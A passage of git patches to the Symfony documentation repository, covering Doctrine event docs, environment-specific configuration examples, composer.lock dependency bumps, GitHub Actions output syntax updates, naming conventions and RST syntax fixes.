             // if this subscriber only applies to certain entity types,
             // add some code to check the entity type as early as possible
             if (!$entity instanceof Product) {
@@ -469,6 +472,11 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
 and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>` for this

From e95496669b3e1bf41a6f87b89a44f09c3983215b Mon Sep 17 00:00:00 2001
From: Ionut Enache <ionut.enache@evozon.com>
Date: Wed, 5 Apr 2023 18:18:46 +0300
Subject: [PATCH 3185/5766] Update the example provided in the Development
 Versus Production: Environments section

---
 quick_tour/the_architecture.rst | 85 +++++++++++++++++++++++----------
 1 file changed, 60 insertions(+), 25 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 909dac32193..3e6eaaacaae 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -237,31 +237,66 @@ whenever needed.
 But what about when you deploy to production? We will need to hide those tools and
 optimize for speed!
 
-This is solved by Symfony's *environment* system and there are three: ``dev``, ``prod``
-and ``test``. Based on the environment, Symfony loads different files in the ``config/``
-directory:
-
-.. code-block:: text
-
-    config/
-    ├─ services.yaml
-    ├─ ...
-    └─ packages/
-        ├─ framework.yaml
-        ├─ ...
-        ├─ **dev/**
-            ├─ monolog.yaml
-            └─ ...
-        ├─ **prod/**
-            └─ monolog.yaml
-        └─ **test/**
-            ├─ framework.yaml
-            └─ ...
-    └─ routes/
-        ├─ annotations.yaml
-        └─ **dev/**
-            ├─ twig.yaml
-            └─ web_profiler.yaml
+This is solved by Symfony's *environment* system and there are three environments a
+typical Symfony application begins with: ``dev``, ``prod``, and ``test``. You can define
+options for specific environments in the configuration files from the ``config/``
+directory using the special ``when`` keyword:
+
+.. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/routing.yaml
+            framework:
+                router:
+                    utf8: true
+
+            when@prod:
+                framework:
+                    router:
+                        strict_requirements: null
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <framework:config>
+                    <framework:router utf8="true"/>
+                </framework:config>
+
+                <when env="prod">
+                    <framework:config>
+                        <framework:router strict-requirements="null"/>
+                    </framework:config>
+                </when>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+                $framework->router()
+                    ->utf8(true)
+                ;
+
+                if ('prod' === $containerConfigurator->env()) {
+                    $framework->router()
+                        ->strictRequirements(null)
+                    ;
+                }
+            };
 
 This is a *powerful* idea: by changing one piece of configuration (the environment),
 your app is transformed from a debugging-friendly experience to one that's optimized

From bcf07d584735eea40ec0cf331e2b56c28e7ca509 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Apr 2023 08:28:39 +0200
Subject: [PATCH 3186/5766] Enhancement: Remove obsolete versionadded directive

---
 components/property_info.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 8e03762d70a..bb3123b4dc9 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -532,11 +532,6 @@ on the constructor arguments::
     $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
     $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'
 
-.. versionadded:: 5.2
-
-    The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
-    was introduced in Symfony 5.2.
-
 .. _`components-property-information-extractors-creation`:
 
 Creating Your Own Extractors

From 5bc0becac87d34de4ec073f01bacc6a42cb08fc4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Apr 2023 18:59:58 +0200
Subject: [PATCH 3187/5766] [PropertyInfo] Add `ConstructorExtractor`
 documentation for 6.2 (with CPP)

---
 components/property_info.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index bb3123b4dc9..84315f59f70 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -438,6 +438,7 @@ information from annotations of properties and methods, such as ``@var``,
 
     // Extraction.php
     use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor;
+    use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
@@ -517,11 +518,9 @@ on the constructor arguments::
     // src/Domain/Foo.php
     class Foo
     {
-        private $bar;
-
-        public function __construct(string $bar)
-        {
-            $this->bar = $bar;
+        public function __construct(
+            private string $bar,
+        ) {
         }
     }
 

From 6454c362fff8d74173e061db7d500a903a8582f3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Apr 2023 09:45:21 +0200
Subject: [PATCH 3188/5766] Sort

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 84315f59f70..09f15d6c529 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -525,8 +525,8 @@ on the constructor arguments::
     }
 
     // Extraction.php
-    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
     use App\Domain\Foo;
+    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
 
     $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
     $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'

From f214349de556a2861eab653c4bdffb761d2cad4f Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 6 Apr 2023 14:46:00 +0200
Subject: [PATCH 3189/5766] Update the docs-builder tool

---
 _build/composer.lock | 161 ++++++++++++++++++++++---------------------
 1 file changed, 82 insertions(+), 79 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index 0ec00db5a84..d45dc483946 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.0",
+            "version": "v0.20.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc"
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/6486fd734bb151a05f592b06ac1569c62d338a08",
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08",
                 "shasum": ""
             },
             "require": {
@@ -514,22 +514,22 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.0"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.2"
             },
-            "time": "2023-03-23T08:48:27+00:00"
+            "time": "2023-04-04T06:17:34+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06"
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/0f579613e771dba2dbb8211c382342a641f5da06",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06",
+                "url": "https://api.github.com/repos/symfony/console/zipball/3582d68a64a86ec25240aaa521ec8bc2342b369b",
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b",
                 "shasum": ""
             },
             "require": {
@@ -591,12 +591,12 @@
             "homepage": "https://symfony.com",
             "keywords": [
                 "cli",
-                "command line",
+                "command-line",
                 "console",
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v6.2.3"
+                "source": "https://github.com/symfony/console/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -612,20 +612,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-03-29T21:42:15+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80"
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
                 "shasum": ""
             },
             "require": {
@@ -661,7 +661,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.2.3"
+                "source": "https://github.com/symfony/css-selector/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -677,20 +677,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
                 "shasum": ""
             },
             "require": {
@@ -728,7 +728,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -744,20 +744,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:25:55+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2"
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/f2743e033dd05a62978ced0ad368022e82c9fab2",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e0d0f709997ad1224ef22bb0a28287c44b7840f",
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f",
                 "shasum": ""
             },
             "require": {
@@ -798,7 +798,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.3"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -814,20 +814,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.2.0",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016"
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/50b2523c874605cf3d4acf7a9e2b30b6a440a016",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/82b6c62b959f642d000456f08c6d219d749215b3",
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3",
                 "shasum": ""
             },
             "require": {
@@ -861,7 +861,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.2.0"
+                "source": "https://github.com/symfony/filesystem/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -877,20 +877,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-20T13:01:27+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e"
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/81eefbddfde282ee33b437ba5e13d7753211ae8e",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/20808dc6631aecafbe67c186af5dcb370be3a0eb",
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb",
                 "shasum": ""
             },
             "require": {
@@ -925,7 +925,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.2.3"
+                "source": "https://github.com/symfony/finder/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -941,20 +941,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-02-16T09:57:23+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce"
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/7054ad466f836309aef511789b9c697bc986d8ce",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/66391ba3a8862c560e1d9134c96d9bd2a619b477",
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477",
                 "shasum": ""
             },
             "require": {
@@ -1009,8 +1009,11 @@
             ],
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "http"
+            ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.2.2"
+                "source": "https://github.com/symfony/http-client/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1026,20 +1029,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-31T09:14:44+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf"
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/c5f587eb445224ddfeb05b5ee703476742d730bf",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
                 "shasum": ""
             },
             "require": {
@@ -1091,7 +1094,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1107,7 +1110,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
@@ -1441,16 +1444,16 @@
         },
         {
             "name": "symfony/process",
-            "version": "v6.2.0",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877"
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/ba6e55359f8f755fe996c58a81e00eaa67a35877",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877",
+                "url": "https://api.github.com/repos/symfony/process/zipball/75ed64103df4f6615e15a7fe38b8111099f47416",
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416",
                 "shasum": ""
             },
             "require": {
@@ -1482,7 +1485,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v6.2.0"
+                "source": "https://github.com/symfony/process/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1498,20 +1501,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-02T09:08:04+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75"
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/aac98028c69df04ee77eb69b96b86ee51fbf4b75",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a8c9cedf55f314f3a186041d19537303766df09a",
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a",
                 "shasum": ""
             },
             "require": {
@@ -1567,7 +1570,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1583,20 +1586,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d"
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/863219fd713fa41cbcd285a79723f94672faff4d",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d",
+                "url": "https://api.github.com/repos/symfony/string/zipball/193e83bbd6617d6b2151c37fff10fa7168ebddef",
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1656,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.2.2"
+                "source": "https://github.com/symfony/string/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1669,7 +1672,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-20T16:06:02+00:00"
         },
         {
             "name": "symfony/translation-contracts",
@@ -1751,16 +1754,16 @@
         },
         {
             "name": "twig/twig",
-            "version": "v3.5.0",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72"
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3ffcf4b7d890770466da3b2666f82ac054e7ec72",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a6e0510cc793912b451fd40ab983a1d28f611c15",
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15",
                 "shasum": ""
             },
             "require": {
@@ -1811,7 +1814,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.5.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1823,7 +1826,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-27T12:28:18+00:00"
+            "time": "2023-02-08T07:49:20+00:00"
         }
     ],
     "packages-dev": [],

From 5756c45f9b25bc333f3d74523a754a19c6116aea Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 6 Apr 2023 14:54:48 +0200
Subject: [PATCH 3190/5766] Fix the order of code statements in the code
 snippet

This will make the doctor-rst CI job green again.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 465cd967e77..1e0fedfd00c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -424,10 +424,10 @@ want to log all the database activity. To do so, define a subscriber for the
 
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
-    use Doctrine\ORM\Events;
     use Doctrine\ORM\Event\PostPersistEventArgs;
     use Doctrine\ORM\Event\PostRemoveEventArgs;
     use Doctrine\ORM\Event\PostUpdateEventArgs;
+    use Doctrine\ORM\Events;
 
     class DatabaseActivitySubscriber implements EventSubscriberInterface
     {

From 578a88bc766ef82fa45cc017e5222773abb99e30 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 7 Apr 2023 09:57:17 +0200
Subject: [PATCH 3191/5766] Migrate the CI away from deprecated features

---
 .github/workflows/ci.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 91e5d0212a6..43e9274b128 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -33,7 +33,7 @@ jobs:
             -   name: Get composer cache directory
                 id: composercache
                 working-directory: _build
-                run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+                run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
 
             -   name: Cache dependencies
                 uses: actions/cache@v3
@@ -63,7 +63,7 @@ jobs:
                 run: mkdir .cache
 
             -   name: "Extract base branch name"
-                run: echo "##[set-output name=branch;]$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})"
+                run: echo "branch=$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})" >> $GITHUB_OUTPUT
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
@@ -100,12 +100,12 @@ jobs:
           - name: Find modified files
             id: find-files
             working-directory: docs
-            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+            run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
 
           - name: Get composer cache directory
             id: composercache
             working-directory: docs/_build
-            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+            run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
 
           - name: Cache dependencies
             if: ${{ steps.find-files.outputs.files }}

From bb61fadd54640c30e5bb313890a30de80aa9a8d4 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Fri, 7 Apr 2023 15:02:30 +0200
Subject: [PATCH 3192/5766] Attributes that relate to controller arguments
 should start with `Map`

---
 contributing/code/standards.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 7313760543e..967edb0115e 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -230,8 +230,11 @@ Naming Conventions
 
 * Suffix exceptions with ``Exception``;
 
-* Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``
-  instead of ``#[Command]``, but ``#[When]`` is kept as-is);
+* Prefix PHP attributes that relate to service configuration with ``As``
+  (e.g. ``#[AsCommand]``, ``#[AsEventListener]``, etc.);
+
+* Prefix PHP attributes that relate to controller arguments with ``Map``
+  (e.g. ``#[MapEntity]``, ``#[MapCurrentUser]``, etc.);
 
 * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and
   snake case for naming Twig templates and web assets (``section_layout.html.twig``,

From 3d9dfe669f4557cc10d0ae0b188151113e736334 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 7 Apr 2023 17:09:46 +0200
Subject: [PATCH 3193/5766] [DependencyInjection] Document ServiceConfigurator
 remove method

---
 service_container/remove.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
 create mode 100644 service_container/remove.rst

diff --git a/service_container/remove.rst b/service_container/remove.rst
new file mode 100644
index 00000000000..da4fbf2e54e
--- /dev/null
+++ b/service_container/remove.rst
@@ -0,0 +1,23 @@
+How to Remove a Service
+=======================
+
+A service can be removed from the service container if needed
+(for instance in the test or a specific environment):
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/services_test.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\RemovedService;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->remove(RemovedService::class);
+        };
+
+Now, the container will not contain the ``App\RemovedService``
+in the test environment.

From b63b95f5afea1edbc0172ef715b4cd964597d0d1 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 8 Apr 2023 15:05:25 +0200
Subject: [PATCH 3194/5766] Fix minor syntax errors

---
 components/filesystem.rst | 12 ++++++------
 components/runtime.rst    |  2 +-
 components/workflow.rst   |  2 +-
 mercure.rst               |  2 +-
 setup.rst                 |  2 +-
 5 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index 02be4175446..70fdf10d63e 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -478,12 +478,12 @@ Finding Directories/Root Directories
 PHP offers the function :phpfunction:`dirname` to obtain the directory path of a
 file path. This method has a few quirks::
 
-- `dirname()` does not accept backslashes on UNIX
-- `dirname("C:/Programs")` returns "C:", not "C:/"
-- `dirname("C:/")` returns ".", not "C:/"
-- `dirname("C:")` returns ".", not "C:/"
-- `dirname("Programs")` returns ".", not ""
-- `dirname()` does not canonicalize the result
+- ``dirname()`` does not accept backslashes on UNIX
+- ``dirname("C:/Programs")`` returns "C:", not "C:/"
+- ``dirname("C:/")`` returns ".", not "C:/"
+- ``dirname("C:")`` returns ".", not "C:/"
+- ``dirname("Programs")`` returns ".", not ""
+- ``dirname()`` does not canonicalize the result
 
 :method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these
 shortcomings::
diff --git a/components/runtime.rst b/components/runtime.rst
index f335cefa0b1..c1588bac187 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -384,7 +384,7 @@ application outside of the global state in 6 steps:
    returns a :class:`Symfony\\Component\\Runtime\\RunnerInterface`: an instance
    that knows how to "run" the application object.
 #. The ``RunnerInterface::run(object $application)`` is called and it returns the
-   exit status code as `int`.
+   exit status code as ``int``.
 #. The PHP engine is terminated with this status code.
 
 When creating a new runtime, there are two things to consider: First, what arguments
diff --git a/components/workflow.rst b/components/workflow.rst
